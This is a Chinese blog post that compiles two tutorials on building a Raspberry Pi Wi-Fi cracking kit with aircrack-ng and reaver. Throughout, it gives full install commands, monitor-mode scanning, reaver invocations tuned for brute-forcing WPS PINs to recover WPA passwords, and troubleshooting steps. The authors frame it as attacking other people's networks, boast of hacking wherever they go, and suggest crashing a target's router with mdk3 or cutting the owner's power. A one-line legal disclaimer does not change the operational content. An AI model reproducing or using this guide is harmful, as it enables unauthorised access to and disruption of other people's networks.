搜索此博客

2016年1月14日星期四

树莓派(raspberrypi)安装aircrack-ng,reaver及wifi破解教程[整理]

硬件环境

树莓派B+一个(我用的是debian环境)
PC一台(或其它设备直接操作PI就行)
无线网卡(能用就行,不过强大的无线网卡会事半功倍,我用的3070)

    Find注:

        无线网卡不是哪个都行,需要支持监听模式才可以,支持列表可以查看这里: https://wikidevi.com/wiki/Wireless_adapters/Chipset_table

安装依赖包

sudo apt-get install -y libpcap-dev libsqlite3-dev sqlite3 libpcap0.8-dev libssl-dev build-essential iw tshark subversion ethtool
sudo apt-get install -y libnl-3-200 libnl-3-dev libnl-genl-3-dev libnl-genl-3-200

安装aircarck-ng

svn co http://svn.aircrack-ng.org/trunk/ aircrack-ng
cd aircrack-ng/
make
sudo make install
还提示了Run 'airodump-ng-oui-update' as root (or with sudo) to install or update Airodump-ng OUI file (Internet connection required).
sudo airodump-ng-oui-update

安装reaver

wget http://reaver-wps.googlecode.com/files/reaver-1.4.tar.gz
tar zxvf reaver-1.4.tar.gz
cd reaver-1.4/src
./configure
make
sudo make install

以上两个资源包都可以在这里找到:
百度网盘分享

如果安装成功后,会有airmon-ng,airodump-ng,reaver等命令可用。
破解教程

sudo airmon-ng start wlan0
sudo airodump-ng mon0

根据上面的airodump搜索到的无线信号,然后可以挑信号强的进行破解(注意,要选择开了WPS功能的)
注意看这张列表,列表中显示了你周边无线的相关信息。注意看 MB 这一列,显示为” 54 “、”54e. “等等,这表示了无线当前的速率模式以及WPS开启状况,我自己的路由器是 “steve”,注意看,”54e“和” 54e. “是不同的,多了一个 点,这个点表示开启了 wps模式。所以我们下面就进行wps的探测,在这里我们要记住SSID对应的MAC地址,此后我们会针对MAC地址进行攻击和探测。

sudo reaver -i mon0 -b 00:00:00:00:00:00 -a -S -vv -d2 -t 5 -c 11

-vv 是查看详细信息的,等你熟练了之后,你就可以使用 -v ,这样就简单了。通常,遇到问题才会使用 -vv 。
如果想挂机破解,记得加上nohup命令后,可以断开ssh。然后剩下就是等待。

nohup sudo reaver -i mon0 -b 00:00:00:00:00:00 -a -S -vv -d2 -t 5 -c 11 -o fbi &

-o参数是输出到文件
如果破解成功后,打开输出的日志,就可以看到reaver出来的密码。
命令说明:
reaver
使用方法:

airmon-ng start wlan0 //启动mon0监控
reaver -i mon0 -b MAC -a -S -vv //普通用法
如果,90.9%进程后死机或停机,请记下PIN前四位数,用指令:

reaver -i mon0 -b MAC -a -vv -p XXXX(PIN前四位数)
其他命令

airodump-ng mon0 用来扫描周围无线信号
wash -i mon0 -C 这个是用来检测周围无线支持PIN的路由
如果一直pin不动,尝试加-N参数

reaver -i mon0 -b xx:xx:xx:xx:xx:xx -d 0 -vv -a -S -N
也可以加延时 -t 3 -b 3
常用参数释疑

-i 监听后接口名称 网卡的监视接口,通常是mon0
-b 目标mac地址 AP的MAC地址
-a 自动检测目标AP最佳配置
-S 使用最小的DH key,可以提高PJ速度
-vv 显示更多的非严重警告
-d 即delay每穷举一次的闲置时间 预设为1秒
reaver -i mon0 -b MAC -d 0
用上述指令可以大幅加快PJ速度 但是有些AP可能受不了
-c (后跟频道数) 指定频道,可以方便找到信号
-p PIN码四位或八位 //已知pin码前4位可以带此参数,指定从这个数字开始pin。可以用8位直接找到密码。
-N 不发送NACK信息(如果一直pin不动,可以尝试这个参数)
-n 对目标AP总是发送NACK,默认自动
-t 即timeout每次穷举等待反馈的最长时间,如果信号不错,可以这样###设置
reaver -i mon0 -b MAC -d 0 -t .5
-m, –mac= 指定本机MAC地址,在AP有MAC过滤的时候需要使用
小结-PJ时应因状况调整参数:

信号非常好:
reaver -i mon0 -b MAC -a -S -vv -d 0 -c 1
信号普通:
reaver -i mon0 -b MAC -a -S -vv -d .5 -t .5 -c 1
信号一般:
reaver -i mon0 -b MAC -a -S -vv -c 1

当出现有百分数时你就可以用crtl+c来暂停,它会将reaver的进度表文件保存在
1.3版:
/etc/reaver/MAC地址.wpc
1.4版:
/usr/local/etc/reaver/MAC地址.wpc
用资源管理器,手工将以MAC地址命名的、后辍为wpc的文件拷贝到U盘或硬盘中,
下次重启动后,再手工复制到/etc/reaver/ 目录下即可。

不是所有的路由都支持pin学习。AP关闭了WPS、或者没有QSS滴,会出现
WARNING: Failed to associate with XX:XX:XX:XX:XX:XX (ESSID: XXXX)
学习过程中也可随时随地按Ctrl+C终止PJ,重复同一个PIN码 或 timeou t可终止,reaver会自动保存进度。
继续上次的PJ,则再次在终端中发送:
reaver -i mon0 -b MAC -vv
这条指令下达后,会让你选y或n,选y后就继续了
当reaver确定前4位PIN密码后,其工作完成任务进度数值将直接跳跃至90.9%以上,也就是说只剩余一千个密码组合了(总共一万一千个密码)。

参数详细说明:
-m, –mac= MAC of the host system
指定本机MAC地址,在AP有MAC过滤的时候需要使用
-e, –essid= ESSID of the target AP
路由器的ESSID,一般不用指定
-c, –channel= Set the 802.11 channel for the interface (implies -f)
信号的频道,如果不指定会自动扫描
-o, –out-file= Send output to a log file [stdout]
标准输出到文件
-s, –session= Restore a previous session file
恢复进程文件
-C, –exec= Execute the supplied command upon successful pin recovery
pin成功后执行命令
-D, –daemonize Daemonize reaver
设置reaver成Daemon
-a, –auto Auto detect the best advanced options for the target AP
对目标AP自动检测高级参数
-f, –fixed Disable channel hopping
禁止频道跳转
-5, –5ghz Use 5GHz 802.11 channels
使用5G频道
-v, –verbose Display non-critical warnings (-vv for more)
显示不重要警告信息 -vv 可以显示更多
-q, –quiet Only display critical messages
只显示关键信息
-h, –help Show help
显示帮助

-vv 显示更多的非严重警告

高级参数:
-p, –pin= Use the specified 4 or 8 digit WPS pin
直接读取psk(本人测试未成功,建议用网卡自带软件获取)
-d, –delay= Set the delay between pin attempts 1
pin间延时,默认1秒,推荐设0
-l, –lock-delay= Set the time to wait if the AP locks WPS pin attempts [60]
AP锁定WPS后等待时间
-g, –max-attempts= Quit after num pin attempts
最大pin次数
-x, –fail-wait= Set the time to sleep after 10 unexpected failures [0]
10次意外失败后等待时间,默认0秒
-r, –recurring-delay= Sleep for y seconds every x pin attempts
每x次pin后等待y秒
-t, –timeout= Set the receive timeout period [5]
收包超时,默认5秒
-T, –m57-timeout= Set the M5/M7 timeout period [0.20]
M5/M7超时,默认0.2秒
-A, –no-associate Do not associate with the AP (association must be done by another application)
不连入AP(连入过程必须有其他程序完成)
-N, –no-nacks Do not send NACK messages when out of order packets are received
不发送NACK信息(如果一直pin不动,可以尝试这个参数)
-S, –dh-small Use small DH keys to improve crack speed
使用小DH关键值提高速度(推荐使用)
-L, –ignore-locks Ignore locked state reported by the target AP
忽略目标AP报告的锁定状态
-E, –eap-terminate Terminate each WPS session with an EAP FAIL packet
每当收到EAP失败包就终止WPS进程
-n, –nack Target AP always sends a NACK [Auto]
对目标AP总是发送NACK,默认自动
-w, –win7 Mimic a Windows 7 registrar [False]
模拟win7注册,默认关闭
Reference

http://lok.me/a/1972.html
http://bao3.blogspot.com/2013/05/raspberry-pi.html
http://tieba.baidu.com/p/2682878857
http://www.nyaboron.moe/posts/606.html

文章来源: http://goo.gl/dkeJbH

使用reaver破解WPA加密的WiFi网络

我们经常可以在无线路由器的宣传中看到这样的内容:


传统的破解WPA加密的方式是抓到足够多的cap包,然后用字典进行暴力猜解。但前提是必须要有一个足以包含世界上所有奇奇怪怪的密码的强大字典。之后 WPS(WiFi Protected setup)的出现使得设置无线加密更加便利,但事实上,它给破解WiFi密码提供了一个新的思路。如果目标路由器标有“可使用WPS”等字样,那么恭喜,你可以使用本文所述的方法进行破解。P.s.网传目前被破的主要是TP-LINK的路由器,你可以在【这里】通过BSSID查到目标路由的制造商。
本文所述的环境虽然是树莓派,但是如果你使用一台普通的Linux PC,这篇教程同样适用,但是在某些命令上会有些差别。
本文所述内容仅用于研究网络安全相关内容,入侵他人局域网络是违法行为!
准备工作
硬件

    树莓派一台(raspbian wheezy)
    TPLINK无线网卡(芯片为ath9k,用于破解)
    一个强劲的电源以及有源USB HUB
    散热设备(如果需要)

我把全套装备都塞进一个盒子里,在家的时候放在书柜顶上插着电运行,出门的时候放在包里走到哪黑到哪,闷声作大死的必备神器。

软件

    aircrack及其依赖
    reaver及其依赖
    macchanger(用于伪造MAC地址,可选)
    sshd(raspbian自带)
    相关驱动及编译环境
    screen (用于使ssh中运行的进程不随ssh连接断开而被终止)

环境配置

    安装一大堆软件包:

sudo apt-get install -y libpcap-dev libsqlite3-dev sqlite3 libpcap0.8-dev libssl-dev build-essential iw tshark subversion screen
1
   
sudo apt-get install -y libpcap-dev libsqlite3-dev sqlite3 libpcap0.8-dev libssl-dev build-essential iw tshark subversion screen

    编译安装aircrack:

svn co http://trac.aircrack-ng.org/svn/trunk aircrack-ng
(P.s. 如果这一步不成功,你可以在【这里】下载并tar解压)
cd aircrack-ng/
make
sudo make install
1
2
3
4
5
   
svn co http://trac.aircrack-ng.org/svn/trunk aircrack-ng
(P.s. 如果这一步不成功,你可以在【这里】下载并tar解压)
cd aircrack-ng/
make
sudo make install

     编译安装reaver

wget http://reaver-wps.googlecode.com/files/reaver-1.4.tar.gz
tar zxvf reaver-1.4.tar.gz
cd reaver-1.4/src
./configure
make
sudo make install
1
2
3
4
5
6
   
wget http://reaver-wps.googlecode.com/files/reaver-1.4.tar.gz
tar zxvf reaver-1.4.tar.gz
cd reaver-1.4/src
./configure
make
sudo make install


搜寻目标AP
启动网卡监听模式

(由于在RPi上实机运行时没有截图,以下的截图是在Linux Mint16 虚拟机中截得,反正都基于Debian,大同小异。)

    查看网卡是否被识别

sudo lsusb
1
   
sudo lsusb

     查看驱动是否正确加载

sudo lsmod
1
   
sudo lsmod



    查看自己的网卡是哪个接口(interface)并将其bring up,我的是wlan0。

sudo ifconfig
sudo ifconfig wlan0 up
1
2
   
sudo ifconfig
sudo ifconfig wlan0 up

    在wlan0启动监听模式,然后系统会给你回显监听模式在哪个接口上被启动了(通常是mon0)

sudo airmon-ng start wlan0
1
   
sudo airmon-ng start wlan0




获取目标AP信息并确认其支持WPS

    开始抓包

sudo airodump-ng mon0
1
   
sudo airodump-ng mon0


这时候你需要把网卡摆到最佳的位置(但是不建议使用延长线),让PWR(信号强度)尽可能地高,记住BSSID和CH栏显示的数字(信道),然后按Ctrl+c终止。
还有最重要的,你需要确定目标路由器支持WPS 。怎么来确定呢?如果你的系统中有WASH或wlash,你可以使用它们,如果没有,你只需要打开Android手机中的WLAN,手机上会显示目标路由是否支持WPS。

【更新:上图中的MB一栏显示的内容,官方文档是这么解释的:

MB :Maximum speed supported by the AP. If MB = 11, it’s 802.11b, if MB = 22 it’s 802.11b+ and higher rates are 802.11g. The dot (after 54 above) indicates short preamble is supported. Displays “e” following the MB speed value if the network has QoS enabled.

AP支持的最高速率。如果值为11,则AP为802.11b标准;如果值为22则是802.11b+,更高的是802.11g标准。后面的点代表支持短序文(short preamble)(我的理解是验证pin时先验证前四位?我也不清楚….)。e代表路由器开启了QoS(因为貌似只有802.11n支持QoS,所以基本可以确定是802.11n标准)

所以按我的理解就是:攻击带有.和e的路由器成功率更高?…我也是猜的,如果你知道明确的答案请告诉我 (>^ω^<)】

一切准备停当之后,就可以祭出神器reaver了
使用适当的参数启动reaver

注意:如果你使用ssh的话,请在screen中运行reaver。
sudo reaver -i mon0 -b A8:15:XX:XX:XX:XX -a -S -vv -c 1
1
   
sudo reaver -i mon0 -b A8:15:XX:XX:XX:XX -a -S -vv -c 1

(-b后面换成你的目标路由的BSSID )(-i 后面换成监听模式运行的接口)(-c后面换成目标使用的信道)

(这是我使用的参数,你可以根据实际情况进行调整,尤其是目标的信号强度一般的情况下,请务必去掉-S 参数,并在-d和-t参数中设置较长的延时)
各项参数

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

Required Arguments:必填参数
-i, –interface=<wlan> Name of the monitor-mode interface to use–网卡接口名称
-b, –bssid=<mac> BSSID of the target AP– 目标mac地址

Optional Arguments:附加参数
-m, –mac=<mac> MAC of the host system–主机的MAC地址
-e, –essid=<ssid> ESSID of the target AP –目标的ESSID
-c, –channel=<channel> Set the 802.11 channel for the interface (implies -f) –设置信道(与刚才的目标的CH值相同)
-o, –out-file=<file> Send output to a log file [stdout] –输出到文件
-s, –session=<file> Restore a previous session file –重载之前的存档
-C, –exec=<command> Execute the supplied command upon successful pin recovery –当成功破解之后执行某个命令
-D, –daemonize Daemonize reaver –让reaver作为守护进程
-a, –auto Auto detect the best advanced options for the target AP –自动针对目标选择最佳的配置
-f, –fixed Disable channel hopping –不懂
-5, –5ghz Use 5GHz 802.11 channels –使用5G频段
-v, –verbose Display non-critical warnings (-vv for more) –显示不重要的警告(使用-vv显示更多)(看清楚是两个v不是w)
-q, –quiet Only display critical messages –只显示重要的警告
-h, –help Show help –显示帮助

Advanced Options:高级参数
-p, –pin=<wps pin> Use the specified 4 or 8 digit WPS pin –如果你知道了前4位的pin或完整的pin,使用这个参数直接解出psk
-d, –delay=<seconds> Set the delay between pin attempts [1] –在两次尝试间的延时(单位秒,默认为1)
-l, –lock-delay=<seconds> Set the time to wait if the AP locks WPS pin attempts [60] –当目标被锁定或限速的延时(单位秒,默认60)
-g, –max-attempts=<num> Quit after num pin attempts –最大尝试的数量
-x, –fail-wait=<seconds> Set the time to sleep after 10 unexpected failures [0] –在10个未预期的错误后的延时(默认0)
-r, –recurring-delay=<x:y> Sleep for y seconds every x pin attempts –在x次尝试之后暂停y秒钟
-t, –timeout=<seconds> Set the receive timeout period [5] –接受数据包的超时时间(默认10)
-T, –m57-timeout=<seconds> Set the M5/M7 timeout period [0.20] –接受M5/M7数据包的超时时间(默认20)
-A, –no-associate Do not associate with the AP (association must be done by another application) –使reaver不与目标AP关联( associate),但必须已经有其他的程序与目标关联
-N, –no-nacks Do not send NACK messages when out of order packets are received –不懂
-S, –dh-small Use small DH keys to improve crack speed –使用小的DH key,提高速度
-L, –ignore-locks Ignore locked state reported by the target AP –怒略目标的锁定状态
-E, –eap-terminate Terminate each WPS session with an EAP FAIL packet –当出现EAP FAIL 数据包时终止WPS 会话。
-n, –nack Target AP always sends a NACK [Auto] –不懂
-w, –win7 Mimic a Windows 7 registrar [False] –还是不懂

Example:
reaver -i mon0 -b 00:90:4C:C1:AC:21 -vv


然后就是漫长的等待……(在运行中你可以随时按ctrl+c终止reaver,它会自动保存当前进度,下次你输入同一个BSSID时reaver会自动加载上一次保存的进度)
…………………………
…………………………
…………………………
在等待的时间里我们来了解下reaver的工作原理。它利用了WiFi保护设置(WiFi Protected Setup 也就是WPS)的一个弱点,WPS可以为用户提供简单的配置过程,它与设备中硬编码保存的一个PIN码绑定在一起。Reaver利用的就是PIN码认证的一个缺陷。因此只要有足够的时间,它就能破解WPA或WPA2的密码。PIN码分前4和后4,先猜解前4位,只有一万个组合,再猜解后4位中的前3位,只有一千个组合,一共就是一万一千个密码组合。 当reaver确定前4位PIN后,进度将直接跳至90.9%。猜解出整个8位数字的pin之后,就可以直接得到psk。

【更新:如果你想了解更多,请参考 这个网页 和 这个】

破解的速度取决于信号强度以及目标路由器的安全设置,还有信道的拥挤程度。官方文档说reaver通常会运行4-10小时来解出pin,但实际上我在信号满格(同一位置,手机上)的情况下运行了一天一夜+大半天。
成功

当进度达到100%时,你会得到一个大礼包,也就是如下的画面,其中的WPA-PSK就是密码。
(这是在RPi实机运行时用VNC截的图)

故障排除

reaver会根据目标的当前状态来调整猜解的速度和配置,所以在过程中并不需要一直盯着它的运行状态,但是你也还是需要时不时地看一下,确保reaver没有报错或卡死
报错

    出现failed to associate with XX:XX:XX:XX:XX:XX ,说明目标路由器不支持WPS。
    出现failed to re-initialize interface mon0,这有可能是你的网卡掉线造成的,把网卡重新插上并从头执行所有指令。【尤其是在使用树莓派的时候,当你遇到这个报错,检查你的电源和USB HUB的供电,我的两次掉线都是由这个引起的】
    其他报错,比如我有一次遇到了Segmentation Fault…….原因及解决方法未知…..

卡死

如果运行到一定进度,发现窗口中显示的PIN码不变,进度也不走,那么恭喜你遇上死循环了。

    遇到卡死,如果进度不是在90%或者99%,首先尝试Ctrl+c并重新输入刚才的命令,如果程序继续运行,那么故障排除;如果没有,我也不知道怎么办。
    如果卡在90%的位置,说明前四位已解出,使用下面的命令

sudo reaver -i mon0 -b MAC -p 【前四位】 -其他参数
1
   
sudo reaver -i mon0 -b MAC -p 【前四位】 -其他参数

    如果卡死在99.99%,查看/etc/reaver/【目标MAC】.wpc文件,找出剩余的那个PIN(8位的完整pin),使用

sudo reaver -i mon0 -b MAC -p【8位数】
1
   
sudo reaver -i mon0 -b MAC -p【8位数】

如果一切正常可以直接显示结果。

    如果没有显示结果仍然卡死,那么可能是漏掉了正确的PIN码,使用

sudo reaver -i mon0 -b MAC -p 【前四位】 -其他参数
1
   
sudo reaver -i mon0 -b MAC -p 【前四位】 -其他参数

重跑后三位;如果仍然卡死,问题可能出现在前四位,只能删掉存档重新运行reaver,有必要的话设置参数把速度降下来。
还有一种情况

(本段来自网络,未亲测)
破密正常运行中,信号质量也很好的情况下,突然出现出现同码循环和大量timeout,可能是如下原因造成的(排除关机状态)。
reaver只支持11N的PIN破密,11n先验证前4位码,11g也有PIN功能,是全码验证。
现在多数AP的无线模式是混和11bgn,当有11g设备接入时,AP自动从11N降至11g,此时,reaver会出现同码循环重复timeout! 甚至会出现WARNING: Failed to associate with。实证中,在排除同频干扰因素后,通过扫描无线
网络,发现路由器,确实从54e.模式降为54.模式了。有人把此种现象称为临时性WPS、PIN功能自锁。

解决办法:

    等待11g设备退出无线接入,断电重启。
    使用mdk3向路由器发起攻击使其死机,迫使路由器主人重启。
    终极大招:找到目标所在的人家,拉电闸再推上去。

文章来源:http://goo.gl/xHg1oU